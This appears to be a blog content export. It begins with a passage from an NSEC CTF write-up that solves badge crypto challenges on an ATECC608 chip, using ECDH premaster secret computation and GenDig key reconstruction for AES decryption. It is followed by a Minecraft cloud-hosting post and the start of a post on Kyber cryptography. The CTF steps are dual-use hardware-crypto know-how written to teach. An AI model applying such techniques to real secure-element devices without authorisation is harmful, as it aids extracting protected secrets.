let’s see what that looks like. nsec&gt; crypto_print_pubkey 2 I (3804018) crypto_atecc: -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEIMX9S1hBPDm7NfCScFg2QUXkBC6z TAAe4raf3nTI554LrnS3vK95j0Ockrd3SVbVv/KZv+JqwtsIwzOliXzgIg== -----END PUBLIC KEY----- Well that looks like a public key alright. The command also mentioned a provided public key in slot 13. Let’s see what’s there. nsec&gt; crypto_read_zone 13 0 Data read successfully from slot 13: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff nsec&gt; crypto_read_zone 13 1 Data read successfully from slot 13: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff nsec&gt; crypto_read_zone 13 2 Data read successfully from slot 13: ffffffffffffffff000000000000000000000000000000000000000000000000 nsec&gt; Ok that looks less good. Probably why the command mentions user provided. Last thing before we dive into some theory, let’s try submitting something. nsec&gt; crypto_ECDH_premaster_secret 42 Error! hex string should be 64 characters nsec&gt; crypto_ECDH_premaster_secret 4242424242424242424242424242424242424242424242424242424242424242 addon-components/esp-cryptoauthlib/cryptoauthlib/lib/calib/calib_ecdh.c:80:f4:calib_ecdh_base - execution failed Error! Failed to generate ECDH premaster secret with error: 0xF4 nsec&gt; Hum, well that’s not ideal. But let’s keep that filename in the back of our heads. Now let’s start with the basics. What are we even trying to do? What is a ECDH premaster secret? During the TLS handshake, the client and server negotiate cryptographic parameters, including the choice of cipher suite. If ECDH is selected, both parties generate random key pairs (private keys and corresponding public keys). The client sends its public key to the server, and the server sends its public key to the client. Using the received public keys and their own private keys, both parties compute a shared secret (the ECDH premaster secret). Ok, this is starting to make sense. We don’t have access to the private key on the badge, but we are able to print out the public key. Combining that with our research above, to calculate a premaster secret, we would need to do a few different things. Generate our own EC keypair Upload our public key to slot 13 Use our private key with the badge’s public key to compute the ECDH premaster secret Call the crypto_ECDH_premaster_secret with our premaster secret value What should happen then in theory is that badge computes its premaster secret value, using its own private key and the public key we provided at which point the value should match what we provided. Great, “in theory”, we know what to do. Now all that’s left is actually doing it… Generate Keypair To generate the proper keypair, we should probably understand what parameters are being used by the badge. I ended up finding a nice GitHub repo that looked quite useful - https://github.com/espressif/esp-cryptoauthlib. Recognize the name from the error message above? From the repo: This is a port of Microchip’s cryptoauthlib for ESP-IDF. It contains necessary build support to use cryptoauthlib with ESP-IDF as well as esp_cryptoauthlib_utility for configuring and provisiong ATECC608A chip connected to an ESP module. Currently the utility is supported for ESP32, ESP32S3 and ESP32C3 If we start going into the various scripts we end up at the calib_ecdh.c file responsible for ECDH calculations on the addon. \\param[in] public_key Public key input to ECDH calculation. X and Y integers in big-endian format. 64 bytes for P256 key. That’s not an outright smoking gun, but I decided to throw a few select attributes into copilot and see what it would come up with. Ok, looks like we are working with P256 EC keys. Great, all that was left for this step was to use openssl to generate a keypair. openssl ecparam -name prime256v1 -genkey -noout -out private.ec.key openssl pkcs8 -topk8 -in private.ec.key -out private-me.pem openssl ec -in private.pem -pubout -out public-me.pem cat public-me.pem -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEtrBu7yJwqJs+0u4gV2PvDhCqeWRo XVPhwDK0n518T0cUD8wjo0QfcGVEM/YqMFvwH64xL9GqWwy33HxXJaXcYg== -----END PUBLIC KEY----- That is looking similar to what we got from the badge, so I’ll assume it is correct for the moment. Let’s see how we get that on to the badge now. Compute ECDH premaster secret Taking the badge’s public key from above and moving it to the VM it only takes a few lines of python to compute the premaster secret. from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives import serialization # Read my private key from a file with open('private-me.pem', 'rb') as f: me_private_key = serialization.load_pem_private_key(f.read(), password=None) # Read badges public key from a file with open('public-badge.pem', 'rb') as f: badge_public_key = serialization.load_pem_public_key(f.read()) me_shared_secret = me_private_key.exchange(ec.ECDH(), badge_public_key) shared_secret_hex = me_shared_secret.hex() print(\"Shared Secret (Hex):\", shared_secret_hex) python ecdh.py Shared Secret (Hex): cec266a95c1b68cc3b4e26d6cdecc91f003cb1f61f5f79632ae5709fc915c5ed Assuming we didn’t royally screw something up, we have our value! Let’s see how we can get our public key on to the badge. Upload public key I originally asked myself “alright, now what” as I didn’t have a good idea how to start here. We know how to write to a specific slots in blocks, but we also have a limited amount of space to write to - 72 bytes. This seems to line up with the documentation above however as it states that the public keys should be 64 bytes. If we figure out what to write it should be block 13 slots 1 and 2. The first assumption I made was that I could take out the header and footers and focus on the base64 encoded information only. Well that is still 124 characters and too large. Let’s decode the b64 and see if anything makes sense. └─$ echo \"MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEIMX9S1hBPDm7NfCScFg2QUXkBC6zTAAe4raf3nTI554LrnS3vK95j0Ockrd3SVbVv/KZv+JqwtsIwzOliXzgIg==\" | base64 -d | xxd 00000000: 3059 3013 0607 2a86 48ce 3d02 0106 082a 0Y0...*.H.=....* 00000010: 8648 ce3d 0301 0703 4200 0420 c5fd 4b58 .H.=....B.. ..KX 00000020: 413c 39bb 35f0 9270 5836 4145 e404 2eb3 A&lt;9.5..pX6AE.... 00000030: 4c00 1ee2 b69f de74 c8e7 9e0b ae74 b7bc L......t.....t.. 00000040: af79 8f43 9c92 b777 4956 d5bf f299 bfe2 .y.C...wIV...... 00000050: 6ac2 db08 c333 a589 7ce0 22 j....3..|.\" That’s not super useful, but, let’s see what happens when we do the same for our own public key. └─$ echo \"MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEtrBu7yJwqJs+0u4gV2PvDhCqeWRoXVPhwDK0n518T0cUD8wjo0QfcGVEM/YqMFvwH64xL9GqWwy33HxXJaXcYg==\" | base64 -d | xxd 00000000: 3059 3013 0607 2a86 48ce 3d02 0106 082a 0Y0...*.H.=....* 00000010: 8648 ce3d 0301 0703 4200 04b6 b06e ef22 .H.=....B....n.\" 00000020: 70a8 9b3e d2ee 2057 63ef 0e10 aa79 6468 p..&gt;.. Wc....ydh 00000030: 5d53 e1c0 32b4 9f9d 7c4f 4714 0fcc 23a3 ]S..2...|OG...#. 00000040: 441f 7065 4433 f62a 305b f01f ae31 2fd1 D.peD3.*0[...1/. 00000050: aa5b 0cb7 dc7c 5725 a5dc 62 .[...|W%..b Oh-ho! The first 27 bytes are the same? Let’s see if we can get some clarity on that. A quick search in the cryptoauthlib repo and I found this section in the pkcs11_key.c file. /** ASN.1 Header for SECP256R1 public keys */ static const uint8_t ec_pubkey_asn1_header[] = { 0x30, 0x59, 0x30, 0x13, 0x06, 0x07, 0x2A, 0x86, 0x48, 0xCE, 0x3D, 0x02, 0x01, 0x06, 0x08, 0x2A, 0x86, 0x48, 0xCE, 0x3D, 0x03, 0x01, 0x07, 0x03, 0x42, 0x00, 0x04 }; Alright that definitely makes sense. What solidified my thinking was that once you removed the header from the base64 decoded public key material… we are left with exactly 64 bytes! With everything we’ve learned, that means the 64 bytes representing our public key that needs to be written to memory is: b6b06eef2270a89b3ed2ee205763ef0e10aa7964685d53e1c032b49f9d7c4f47140fcc23a3441f70654433f62a305bf01fae312fd1aa5b0cb7dc7c5725a5dc62 We know how to do that, so let’s get it done. And as a last note before we try with our computed premaster secret, during the CTF I noticed that once a valid public-key was added the crypto_ECDH_premaster_secret command no longer errored out, further reinforcing that we were on the right path. nsec&gt; crypto_ECDH_premaster_secret 4242424242424242424242424242424242424242424242424242424242424242 FAIL: Provided ECDH premaster secret is not correct ECDH - Profit? Well, let’s give it a shot with our premaster secret! Crypto Bad Nonce Our last challenge on the Phospholipid addon! The crypto_bad_nonce starts with a nice little narrative on what we are trying to accomplish. The flag was encrypted with the following order of ATECC608B commands: 1. Nonce: A bad nonce was generated to \"initialize TempKey to a specified value\". 2. Write: Data slot #8 block #0 was written with a certain value. 3. GenDig: Data slot #8 was used as GENDIG_ZONE_DATA to \"performs a SHA256 hash on the source data indicated by zone with the contents of TempKey\". 4. AES: The encrypted flag cipher was generated with the AES algorithm using the value of TempKey after the execution of the previous steps. bad nonce value used: 42424242424242424242424242424242 42424242424242424242424242424242 value that was written to data slot #8 block #0: 004265207374726F6E6720616E642072 65616420646174617368656574732061 resulting encrypted flag cipher: 40878CBD30C22E590EFB1C9448A3B3AA Can you reproduce and decrypt the cipher? Key Generation There are quite a few hints throughout this blurb. It did seem suspicious that certain parts were quoted and sure enough after the CTF there was confirmation that this was intended. What is an interesting side-note however was that not all search engines were equal and a nice post-NSEC blog post goes into more details - I was at least one of the people mentioned where nothing showed up on Google search. With that said, I was still able to find the relevant documentation with a bit of sleuthing and the hints lead us to the Microchip CryptoAuthentication Library documentation. Specifically to start: In the same documentation we were able to find the GenDig documentation as well. At this point we understand a bit more of what is going on, but it isn’t really enough to start putting all the pieces together. I kept sleuthing around, and was jumping through the code references I could find. Looking at the source repo I was able to find the code for atcab_nonce. /** \\brief Execute a Nonce command in pass-through mode to initialize TempKey * to a specified value. * * \\param[in] num_in Data to be loaded into TempKey (32 bytes). * * \\return ATCA_SUCCESS on success, otherwise an error code. */ And then similarly the code for atcab_gendig. /** \\brief Issues a GenDig command, which performs a SHA256 hash on the source data indicated by zone with the * contents of TempKey. See the CryptoAuth datasheet for your chip to see what the values of zone * correspond to. * \\param[in] device Device context pointer * \\param[in] zone Designates the source of the data to hash with TempKey. * \\param[in] key_id Indicates the key, OTP block, or message order for shared nonce mode. * \\param[in] other_data Four bytes of data for SHA calculation when using a NoMac key, 32 bytes for * \"Shared Nonce\" mode, otherwise ignored (can be NULL). * \\param[in] other_data_size Size of other_data in bytes. * \\return ATCA_SUCCESS on success, otherwise an error code. */ While I was able to get some further details, like ATCA_GENDIG and GENDIG_ZONE_DATA definitions, it wasn’t until I came across the ATECC608-Tools repo that things really started coming together. Specifically the read_encrypted.sh file is where the initial GenDig logic was laid out for me. ############################################ # Update Tempkey using slot data ############################################ opcode=15 param1=02 param2=$(printf \"%02x00\" $keyslot) zeros=00000000000000000000000000000000000000000000000000 tempkey_msg=$key$opcode$param1$param2$sn8$sn01$zeros$tempkey tempkey=$(echo $tempkey_msg | xxd -r -p | sha256sum | cut -d ' ' -f 1) Ok, let’s start putting what we know together and see if we can come up with the proper key. We can pull the serial of the chip from the console easy enough. Similarly, we know we are loading TEMPKEY with a known value, so it simplifies our approach. I put everything together in a small script: #!/bin/bash # Serial number breakdown sn=\"01239C45FA2E0650EE\" sn01=${sn:0:4} sn23=${sn:4:4} sn47=${sn:8:8} sn8=${sn:16:2} ############################################ # atcab_nonce - Set initial local TempKey ############################################ tempkey=\"4242424242424242424242424242424242424242424242424242424242424242\" echo \"atcab_nonce - Tempkey is $tempkey\" ############################################ # atcab_gendig - Update Tempkey using slot ############################################ key=\"004265207374726F6E6720616E64207265616420646174617368656574732061\" #Data from slot 8 keyslot=\"8\" param2=$(printf \"%02x00\" $keyslot) #KeyID - little endian which is 0800 opcode=\"15\" #ATCA_GENDIG = 15 param1=\"02\" #GENDIG_ZONE_DATA = 02 zeros=\"00000000000000000000000000000000000000000000000000\" #Why is this here? tempkey_msg=$key$opcode$param1$param2$sn8$sn01$zeros$tempkey #Not entirely sure? tempkey=$(echo $tempkey_msg | xxd -r -p | sha256sum | cut -d ' ' -f 1) echo \"atcab_gendig - Tempkey is now $tempkey\" Which gives us: └─$ ./auto.sh atcab_nonce - Tempkey is 4242424242424242424242424242424242424242424242424242424242424242 atcab_gendig - Tempkey is now 4174b92e1b6d317f3bb4a648cc95345619d6d4d4a48c4b9e61861c162675f3f6 Disclaimer: this is where I finished at the end of the CTF. I ended up getting the right key after all it seems, but I was convinced I had messed something up in the key generation, not in the decryption portion. It wasn’t until several days after the CTF closed, a lot more research, and a sanity check from Roujo that my mistake was realized. It is frustrating, but at the same time validating that I had actually gotten the logic correct, and doubles as a “check every part of your work” reminder. Ciphertext Decrypt Now that I know my key is actually correct, time to finish off the challenge, and subsequently the entire Phospholipid track. Looking back at where I went wrong, I think I was focusing too much on trying to use openssl as that is what I leveraged during the ECDH portion. Either way, with a slight pivot in thinking, and a renewed sense of sanity, I took a different approach to see if it would go better. from Crypto.Cipher import AES import binascii # Provided key and ciphertext (hex encoded) # Truncate key to 16 bytes key_hex = '4174b92e1b6d317f3bb4a648cc953456' ciphertext_hex = '40878CBD30C22E590EFB1C9448A3B3AA' # Convert hex to bytes key = binascii.unhexlify(key_hex) ciphertext = binascii.unhexlify(ciphertext_hex) # Create AES cipher in ECB mode cipher = AES.new(key, AES.MODE_ECB) # Decrypt the ciphertext plaintext = cipher.decrypt(ciphertext) # Decode the plaintext to a readable string if necessary try: plaintext_str = plaintext.decode() except UnicodeDecodeError: plaintext_str = plaintext print(\"Decrypted plaintext:\", plaintext_str) With a hope and prayer I kicked it off… And with that we have successfully completed the Phospholipid track. Wow, what a journey. Summary As always, this year’s NSEC CTF was a smashing success as far as I’m concerned. The leaning in to the hardware tracks, from the multiple badge tracks, RF, and other physical-based challenges, was very welcomed. I ended up learning a ridiculous amount about how to work with hardware, and at the end of the day this is exactly what I am looking for. Follow-up next steps For those who pay attention to detail, you may remember that there was an interesting message when submitting the Flash Dump Canary flag: Your team submitted flag “Phospholipid 0 - FLASH dump” for 0 point! This flag was a canary.. for a special prize! (limited quantity, first solvers first) What was this all about? Well Sunday morning during the CTF our table had a nice drive-by drop off! So what I’m seeing is I’ll be able to build my own Phospholipid? Hell yeah! I’m going to leave this for a future exercise once I’ve had a bit of rest and I plan on looking through the source code once released, but this will be an excellent post-CTF continuation. Commentary At the end of the CTF when I approached Jonathan Marcil to discuss a few things and I mentioned that this writeup would be happening he explicitly asked me to be critical. I will double down and say that I mostly have to struggle to find things to criticize! The evolution of the track itself I thought was well done. All the pieces build on each other, and the custom datasheet was fantastic as far as information to get things kicked off even if you had no idea where to start. The Google search element was a small detraction sure enough, but not enough to completely derail me during the CTF. A few stubborn searches later and I did end up in the right place. I think if the explicit use of quotes was meant to be a quick pivot to the documentation then it might not have gone to plan, but these slight detractions are also part experiencing a CTF. Lastly, the DIY pack for those who went down the rabbit hole was a fantastic motivator to continue learning well after the CTF itself. All I can say is chef’s kiss. I’m already looking forward to next year and I am hoping to see even more hardware-based challenges. Here’s to the next several months’ worth of practicing to be ready! Thanks folks, until next time!" }, { "title": "Building a Production-Grade Minecraft Cloud Infrastructure", "url": "/trench-talk/2023/12/02/mc-cloud-infrastructure/", "categories": "trench-talk", "tags": "minecraft, oracle cloud, observability", "date": "2023-12-02 08:00:00 -0500", "content": "Introduction My Minecraft journey started back in University when “Alpha” was released. Considering the 10$ I paid for the license back then has been valid for over a decade, I’d say it has been probably the best return-on-investment in terms of gaming spend over the years. I’ve been playing on and off since then, and have always been interested in the technical side of the game. I’ve run my own servers, and have been a part of many others. Recently a group of friends decided they wanted to start a new server. Initially one of them paid a hosting service to run the server. However, I quickly remembered going through the administration that there was nothing inherently that we couldn’t do ourselves. The main issues previously were more along the lines of internet bandwidth and stability. I had run a server on my own dedicated hardware locally, however the residential internet connection was not ideal, especially with multiple people connecting from different locations across the globe. Around this time I stumbled on to an interesting blog post by Oracle - Setting up a really powerful free Minecraft server in the cloud, and I knew I was going to go down the rabbit hole. My own journey in tech has evolved since the previous local servers, and I wanted to introduce some more modern concepts, while also making it more “production ready” to my standards. Essentially, I wanted to emulate the same infrastructure and features that my friend was currently paying for, and see just how far we could go, while keeping the core concept of remaining free. There are a few blog posts worth of content I plan on writing but to cut the suspense right away - we got pretty darn far, even moving past some of the functionality that the paid service offered. flowchart TB subgraph \"Game Panel\" MSCM_Web1[MSCM Web Panel] MSCM_Daemon1[MSCM Daemon] SSHDaemon1[SSH] end subgraph \"Management Server\" MSCM_Daemon2[MSCM Daemon] SSHDaemon3[SSH] end subgraph \"Game Server\" MC[Minecraft] MSCM_Daemon3[MSCM Daemon] Prometheus1[Prometheus Exporter - Forge] Prometheus2[Prometheus Exporter - Grafana] SSHDaemon2[SSH] end subgraph \"Client - Player\" MC_Client[Minecraft Client] WebPage[Browser] SSHClient[SSH] end subgraph \"Grafana Cloud\" Grafana[Grafana] end subgraph \"Discord\" MCChat[MC Chat] MCCommand[MC Observability] end MSCM_Daemon1 --&gt; MSCM_Web1 MSCM_Daemon2 --&gt; MSCM_Web1 MSCM_Daemon3 --&gt; MSCM_Web1 Prometheus1 --&gt; Grafana Prometheus2 --&gt; Grafana MC_Client --&gt; MC WebPage --&gt; MSCM_Web1 SSHClient --&gt; SSHDaemon1 SSHClient --&gt; SSHDaemon2 SSHClient --&gt; SSHDaemon3 Grafana --&gt; MCCommand MCChat &lt;--&gt; MC Let’s dive into it and see how we setup a production-grade Minecraft server in the cloud! How This Started Before we dive into the specifics, let’s outline what the goal was. Our current server was running a hefty modpack - All The Mods 9 (ATM9). This is a kitchen-sink modpack, with over 400 mods. It’s a lot of fun, but it’s also very resource intensive. The paid server was running on a 12GB RAM, 4 vCPU instance. The goal was to match this, and see if we could go further. I had a few goals in mind (and a few stretch ideas at this point): Separate the Minecraft server from the rest of the infrastructure as much as possible, isolate it from the management components. Setup a web interface to manage the server, including starting/stopping, backups, and other administrative tasks. Since our group’s main communication channel is Discord, I wanted to integrate the server with Discord, so that we could get notifications and interact with the server from Discord. Build in some observation and monitoring tools, so that we could see how the server was performing, and if there were any issues. During the hosted setup, we ran into an unfortunate “automation gone wrong” situation where entity generation ran amuck causing the server to crash (and ultimately some drastic actions to be taken administratively - i.e. deleting chunks). I wanted to be able to catch these issues before they became a problem, and trace where potential issues were stemming from. All this keeping the mindset of “free”! Oracle Cloud Infrastructure As part of the free-tier of OCI, I had access to two smaller compute instances as well as a third ARM-based instance highlighted in the Oracle blog post. The plan was to use the ARM instance as the Minecraft server, and the two x86 instances as the management components. Following the blog post, I setup the ARM instance with the following specs: Already we’re off to a good start, with 24GB of RAM and 8 vCPUs. This is already double the specs of the paid server. I did things a bit out of order at this point but I wanted to make sure I could start the modded server on an ARM architecture. After installing the required dependencies, I was able to start the server and connect to it without an issue. Great! So the core functionality works, let’s look at the management components. Web Management - MCSManager There are a few different Minecraft management consoles available online. I took a look at a few of them, and ended up settling on MCSManager. It’s a NodeJS application, and has a lot of the features I was looking for. It’s also open-source, which is always a plus. MCSManager has a few different components, including a daemon and a web-component. The web-component is only required on the instance we want to access the management console from, however every instance that will be running a Minecraft server will need the daemon installed. Following the installation instructions, I was able to get the daemon installed and running without an issue on both the ARM and x86 instances. The specs for this second instance were: I was a little worried that it would not be powerful enough to run the management console, but I figured I’d give it a shot. I installed NodeJS and the required dependencies, and started the application. It started up without an issue, and I was able to connect to it from my browser (after a few changes to the network configuration mentioned in the next section). Network Connectivity Reading along with this blog you may have noticed that I’ve been a bit vague about the network configuration so far. This is because I wanted to cover it in a bit more detail here. While not complicated, it wasn’t initially obvious and took a bit of document searching to get what I needed accomplished. OCI Security Lists The first thing needed was to make sure during the OCI provisioning you had access to the instances via SSH. If you followed the default configurations it should have generated a keypair for you, and you should have access to the instances via SSH. This is great, but we need to configure the security lists to allow access, both from the virtual network configurations in OCI, but also from the instances themselves. From the OCI console, this was done by going to the Security List Details in the VCN configuration, and adding the following rules: You’ll notice a few extra rules here, while not initially required, I’m giving a sneak preview to some of the other components we’ll be adding later on. The main thing to note here is that we’re allowing access to the MC port, the MCSManager web port, and daemon port. There will be more ports added later on, but this is the minimum required to get the initial configuration setup. Instance Firewall The next step is to configure the firewall on the instances themselves. This is done differently for the ARM/x86 instances as they use different firewalls. Thankfully, Oracle had another blog clearly outlining the steps required to update iptables: Within /etc/iptables/rules.v4 add the following lines: -A INPUT -p tcp -m state --state NEW -m tcp --dport 25565 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 24444 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 23333 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 8081 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 8082 -j ACCEPT Followed by reloading the configuration: sudo iptables-restore &lt; /etc/iptables/rules.v4 And for the other instance, we leveraged firewall-cmd: sudo firewall-cmd --permanent --zone=public --add-port=25565/tcp sudo firewall-cmd --permanent --zone=public --add-port=24444/tcp sudo firewall-cmd --permanent --zone=public --add-port=23333/tcp sudo firewall-cmd --permanent --zone=public --add-port=80/tcp sudo firewall-cmd --permanent --zone=public --add-port=8081/tcp sudo firewall-cmd --permanent --zone=public --add-port=8082/tcp Followed by a sudo firewall-cmd --reload. Minecraft as a Daemon Alright, we have the daemon running on both instances, the web management panel running, and the network configured so they can talk to one another. Let’s see if we can import the game server daemon into MCSManager. Daemon import This part was initially trivial. Clicking through the panel to “add daemon” the steps are clear. Using our shell connection on the game server we get the token, add the related details, and the connection worked! You’ll notice in the screenshot above the address starts with wss. This wasn’t initially the case. WSS stands for Web Socket Secure, and is a secure connection. The MCSManager documentation itself suggests NOT using this setup, and initially I did use the regular non-secure setup. However the Security professional in me would not let this stand, and I knew I was going to go down this route eventually. Adding the Minecraft Server Adding the Minecraft server was just as easy as adding the daemon. Clicking through the panel to “add server” the steps are a little less clear as there are more options, however still intuitive. From Applications we go to + Add New Instance and ended up selecting MC Java Edition -&gt; Upload nothing or choose existing file since we had already installed the server previously. I’ll omit some of the more instance-specific details as it will come down to the exact configuration you want to run. MCSManager works with both “regular” installs as well as Dockered versions. The main thing to note here is that we’re using the daemon we just added and the server jar file we uploaded previously, referencing the appropriate start scripts and locations. Once done, we should be able to simply hit Start and have the instance start up, while having an interactive terminal to the instance itself. The nice part of this console setup is that from this step on, there is little need to access the game server instance directly. We can do everything we need to do from the MCSManager console. We can even upload files to the instance, and edit them directly from the console. I ended up doing this for a lot of the game configuration files, and it worked great. At this point we have a fully functional Minecraft server running on OCI, with a management console that we can access from anywhere. There is persistence in the sense that using systemctl, and MCSManager configurations we can have the server start up automatically on reboot, and have the MCSManager daemon start up automatically as well. So far, so good! With that said, using the default non-secure connections was not ideal, so before wrapping this initial post, let’s see how we can improve the security of this setup just a little bit. There are more things that could be done, including locking down the initial access to the instances leveraging bastion hosts, and other security measures, but for now let’s just focus on the web and daemon components of MCSManager. Stepping up Security Reading through the MCSManager documentation I was intrigued by adding the reverse proxy and SSL. While I was comfortable with certificates, I had never setup a reverse proxy with NGINX before, so this was a great opportunity to learn something new. Reverse Proxy First step first, let’s get the reverse proxy setup. Again the MCSManager Revers Proxy documentation made this pretty easy. I ended up using the following configuration: http { server { # Web panel public access port listen 8081; location / { # Local address of web panel proxy_pass http://localhost:23333/; root html; index index.html index.htm; # Some necessary HTTP Header settings proxy_set_header Host localhost; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header REMOTE-HOST $remote_addr; # Required for Websocket support proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; add_header X-Cache $upstream_cache_status; add_header Cache-Control no-cache; expires -1; } } Having setup nginx under systemctl it was a matter of restarting the service using systemctl restart nginx and testing if we could access the web panel under the new port. Success! Ok, now let’s see what we can do about securing this a bit more. Let's Encrypt Let’s Encrypt is a free, automated, and open certificate authority (CA), run for the public’s benefit. It is a service provided by the Internet Security Research Group (ISRG) and generally tries to further the security of the internet by providing free certificates. The Let’s Encrypt website has a lot of great information on how to get started but the gist of it is that we can use the certbot tool to generate a certificate for our domain. In our case, we’ll be using the public IP address of our instance, and the domain name I setup for the instances. ** Sidenote: This is arguably the only “non-free” aspect of this entire project. I pay for the domain name, but this was something I was already doing overall, so I’m not counting it as a cost for this project since I only added a few DNS A records. This doesn’t mean you couldn’t do this fully free, as there are dynamic IP DNS solutions available, however since I had access to the domain already, I decided to omit another agent running on the instances.** I was interested not only in the free certificate, but also in the automatic renewal process. Let’s Encrypt certificates are only valid for 90 days, so having an automated process to renew them is a great feature. Having worked with certificates over the last decade, the last thing I want is for an expired certificate to cause an issue. So in addition to the free certificate, the automatic renewal process was something I wanted to make sure worked. Since we are using NGINX, we can use the NGINX plugin for certbot to automatically configure the certificate for us. The certbot documentation steps us through the command to generate the certificate: sudo certbot --nginx At which point I added the DNS and owner information, and the certificate was generated. I had to update the NGINX configuration slightly for the reverse proxy to include the certificate information, but that was it. I was able to access the web panel using the new HTTPS port, and the certificate was valid. http { server { # Web panel public access port listen 8081 ssl; ssl_certificate /etc/letsencrypt/live/panel.quantumlyconfused.com/fullchain.pem; # managed by Certbot ssl_certificate_key /etc/letsencrypt/live/panel.quantumlyconfused.com/privkey.pem; # managed by Certbot include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot location / { # Local address of web panel proxy_pass http://localhost:23333/; root html; index index.html index.htm; # Some necessary HTTP Header settings proxy_set_header Host localhost; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header REMOTE-HOST $remote_addr; # Required for Websocket support proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; add_header X-Cache $upstream_cache_status; add_header Cache-Control no-cache; expires -1; } } I then tested the web panel again, and success! We now have a secure connection to the web panel. Securing the Daemon The last step was to secure the daemon itself. All that was required was to add another nginx reverse-proxy for the daemon port, add the certificate information, and lastly update the daemon information (adding in wss:// to the daemon url) in the MCSManager configuration. Certificate Renewal Remember these certs are only valid for 90 days. Thankfully, since we are using certbot, there is an automatic renewal process. I tested this by manually running the renewal process, and thankfully the dry-run worked. $ sudo certbot renew --dry-run Saving debug log to /var/log/letsencrypt/letsencrypt.log - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Processing /etc/letsencrypt/renewal/panel.quantumlyconfused.com.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Simulating renewal of an existing certificate for panel.quantumlyconfused.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations, all simulated renewals succeeded: /etc/letsencrypt/live/panel.quantumlyconfused.com/fullchain.pem (success) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Thoughts &amp; Next Steps Let’s recap what we’ve done so far: Setup our free-tier instances on OCI Installed the Minecraft server on the game instance Installed MCSManager on the management instance Successfully imported the Minecraft instance to MCSManager Configred MCSManager to use a reverse proxy Added free Let’s Encrypt certificates to secure our setup “Operationalized” our components for persistence and availability That’s not a bad start! But, this is just the start. There are a few things we did next for observability, that I will cover in the next post: Prometheus and Grafana for monitoring Discord Integration for notifications &amp; communications For the MC server (game) communication itself For Grafana monitoring and alerting purposes Discord Integration for remote management Running MC server commands directly from Discord chat This has been a fun project so far, and I’m looking forward to sharing the next steps. I hope you’ve enjoyed this post, and enjoy the next steps in the journey to Productionizing your Minecraft server! Thanks folks, until next time!" }, { "title": "Post-Quantum Cryptography - Practical Kyber Experimentation", "url": "/quantum-computing/2023/10/07/pqc-experimental-implementation/", "categories": "quantum-computing", "tags": "quantum cryptography, post-quantum cryptography, lattice based crypto", "date": "2023-10-07 09:00:00 -0400", "content": "Introduction At this point we’ve gone through how Shor’s algorithm can be used to break the fundamental difficulty assumptions of our current security paradigms. Additionally, we’ve looked at NIST’s PQC Standardization efforts and how the industry is trying to address this shift in security fundamentals. In this third post we will continue down that rabbit hole exploring the Kyber system more closely, taking a second look at the underlying math specific to Kyber 512, comparing that to experimental branches provided by Open Quantum Safe, and then implementing it to communicate between two different machines on my lab environment using a hybrid-PQC approach. The importance at the moment in my mind is less about the specific implementation used and more about understanding the migration journey. That might be a contentious point but I’ll step through my thinking. Industry members are approaching their own PQC journeys differently. Recently Signal announced it’s pqxdh Key Agreement Protocol which leverages Crystals-Kyber-1024 as its Key Encapsulation Mechanism (KEM). Similarly, Google is rolling out a hybrid Kyber768-based KEM in Chrome to start its own PQC journey. Different approaches, however this is just two examples of companies/products starting to roll out variations. Now, where is the contentious point? You might say both are using different iterations flavours of Kyber, but are staying within the bounds of NIST guidelines. You would essentially be right, however while the standardization efforts are ongoing there are different security claims refuting NIST’s findings on Kyber. If these claims are true, then the security of Kyber is not as strong as NIST is claiming. This is not to say that Kyber is not secure, but rather that the jury is still out on the security of Kyber, so it’s important to understand the migration journey and not just the specific implementation. Time will tell which approaches end up on top. That is why I say, at the moment at least, understanding how to migrate becomes more important than the specific flavour you are using. Understanding the current offerings, limitations, and having a plan on how to migrate, will become algorithm-agnostic. With that said, I did want to spend the rest of the time on this post diving into Kyber. While there are open questions as far as the security offered by Kyber 512, it allows a good base to look at the math, code, and practical implementation. The lessons learned through this experimentation will be useful even if I wanted to use a different, non-Kyber, approach in the future, and helps prepare me for what may come. Let’s dive in! Kyber Specifics Kyber at its heart is a public-key encryption system working with vectors of polynomials, otherwise known as Module Learning with Errors (MLWE), which we covered in the previous post. This means we will be working with public and private keys as well as modulo. Since we are working with vectors of polynomials, we need both a modulus for numbers, q as well as a modulus for polynomials, f, to ensure that the degree of polynomials doesn’t grow too large to handle. I’ll cover the Kyber process here, but I’ll add in that if you want to go through a “baby-Kyber” example that encrypts and decrypts the number 11, I highly suggest reading through Approachable Cryptography’s post on Kyber which concretely covers each step with a practical demonstration. The main difference on the various implementations of Kyber are on the parameters and compression. For the sake of what we will be covering practically later, let’s focus on Kyber 512 at the moment. First, let’s baseline the parameters. maximum degree of the used polynomial: \\(n = 256\\) number of polynomials per vector: \\(k = 2\\) modulus for numbers: \\(q = 3329\\) how big the coefficients of the \"small\" polynomials can be: \\(η_{1}=3, η_{2}=2\\) The private key s is a vector of small polynomials. An example based on parameters above: $$s = (3x^{256} -2x^{255} \\dots + x + 2, -2x^{256} - 3x^{255} \\dots - x - 2)$$ The public key is two elements; a matrix A of random polynomials, who’s coefficients are 